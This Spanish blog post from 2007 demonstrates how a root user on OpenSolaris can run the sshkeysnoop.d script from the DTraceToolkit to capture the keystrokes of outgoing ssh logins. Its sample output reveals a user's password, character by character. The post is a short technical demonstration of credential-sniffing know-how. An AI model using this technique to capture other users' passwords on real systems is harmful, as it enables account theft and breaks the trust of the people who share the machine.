martes, 7 de agosto de 2007

Adivinar contraseñas con DTRACE


Una de las nuevas funcionalidades de Solaris 10 y Opensolaris reside en la incorporacion de todo un framewok de instrumentacion como DTRACE.

Si nos descargamos el DtraceToolKit, el cual es un conjunto de scripts dtrace, bien documentados y desarrollados directamente por la comunidad, podemos fijarmos en particular en la utilizacion de sshkeysnoop.d como una variante del script dtrace shellsnoop. En su ejecucion nos permite capturar todas las contraseñas (incluso a traves de ssh) que se establezcan desde nuestro sistema con destino otros hosts, asi:

# uname -iX
i86pcSystem = SunOS
Node = opensolaris
Release = 5.11
KernelID = snv_57
Machine = i86pc
BusType =
Serial =
Users =
OEM# = 0
Origin# = 1
NumCPU = 1

Identificado nuestro sistema, lanzamos el sshkeysnoop.d.

# pwd
/opt/DTT/Apps

# ./sshkeysnoop.d
UID PID PPID TYPE TEXT

Y esperamos que desde cualquier sesión de terminal o consola, algun usuario de nuestro sistema intente establecer una sesion ssh con otro host.

# ssh pepe@opensolaris
Contraseña:
Last login: Tue Aug 7 12:12:53 2007 from opensolaris
Sun Microsystems Inc. SunOS 5.11 snv_57 October 2007
$ bash
$ hostname
opensolaris

Esto es lo que observamos en la captura del sshkeysnoop.d.

# ./sshkeysnoop.d
UID PID PPID TYPE TEXT
0 10873 10852 cmd ssh pepe@opensolaris
lib/libc.so.1
0 10873 10852 key 8
0 10873 10852 key L
0 10873 10852 key u
0 10873 10852 key c
0 10873 10852 key a
0 10873 10852 key s
0 10873 10852 key 0
0 10873 10852 key 1
^C

Luego vemos claramente como en el sistema opensolaris, el usuario pepe tiene como contraseña para acceder 8Lucas01.